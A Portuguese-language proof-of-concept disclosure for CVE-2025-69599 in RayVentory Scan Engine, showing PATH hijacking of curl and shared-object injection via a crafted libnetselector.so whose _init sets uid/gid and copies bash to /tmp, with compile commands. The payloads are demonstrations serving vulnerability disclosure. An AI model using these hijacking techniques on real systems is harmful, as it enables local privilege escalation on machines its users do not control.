
Exploit de prova de conceito para CVE-2025-69599 demonstrando elemento de caminho de busca não controlado no RayVentory Scan Engine via PATH hijacking e shared object injection para escalada de privilégio.
O rvia na Raynet é vulnerável a um problema de Elemento de Caminho de Pesquisa Não Controlado. Ao carregar objetos compartilhados e chamar binários do sistema (como .so e binários auxiliares), eles são chamados usando caminhos relativos, o que permite que um usuário adultere o binário final ou o objeto .so executado por meio da manipulação da variável de ambiente PATH.

Na evidência a seguir, um binário arbitrário chamado curl é criado no diretório /tmp.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compilando o binário
A variável PATH é alterada para que o primeiro diretório a ser pesquisado pelo comando curl quando chamado pelo rvia seja /tmp.
export PATH=/tmp:$PATH
E depois disso, uma chamada a /opt/rvia/rvia getconfig usará nosso binário curl adulterado.

O mesmo se aplica à opção upload.

O mesmo problema é encontrado ao usar a opção rvia inventory, que internamente chama o binário ndtrack. O binário ndtrack chama os comandos cat e sh usando um caminho relativo.


Por fim, também foi detectado que o binário ndtrack está incluindo objetos compartilhados .so files, usando caminhos relativos.

Na evidência a seguir, é possível ver as etapas realizadas para substituir a chamada relativa a libnetselector.so (também é possível realizar as mesmas ações com libuploader.so). Neste caso, um objeto compartilhado personalizado é criado; quando este objeto compartilhado é executado, uma cópia do bash no diretório /tmp como bash_so_hijack será criada.
A seguir está o código C para criar o objeto compartilhado personalizado chamado libnetselector.so.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compilando o objeto compartilhado

É importante notar que isso só funciona ao chamar ndtrack diretamente, pois quando a opção inventory é invocada, uma chamada a um script bash em /opt/rvia chamado ndtrack é feita, que define a variável de ambiente PATH antes de chamar o binário ndtrack.
